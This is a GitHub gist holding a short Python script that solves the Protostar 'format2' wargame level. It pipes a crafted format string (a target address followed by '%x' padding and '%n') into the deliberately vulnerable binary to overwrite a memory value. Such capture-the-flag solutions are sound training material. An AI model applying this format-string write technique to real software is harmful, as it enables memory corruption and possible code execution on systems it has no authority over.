Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Created September 9, 2018 15:15
Show Gist options
  • Save TheRealJunior/c8f78199e71b807236d5f896e50a90d6 to your computer and use it in GitHub Desktop.
Save TheRealJunior/c8f78199e71b807236d5f896e50a90d6 to your computer and use it in GitHub Desktop.
import subprocess
write_formt_exploit = '%20x%20x%20x%n'
write_ptr = '\xe4\x96\x04\x08'
input = write_ptr + write_formt_exploit + '\n'
proc = subprocess.Popen(['/opt/protostar/bin/format2'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
stdout,stderr = proc.communicate(input=input)
print stdout
# new line so it will execute
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment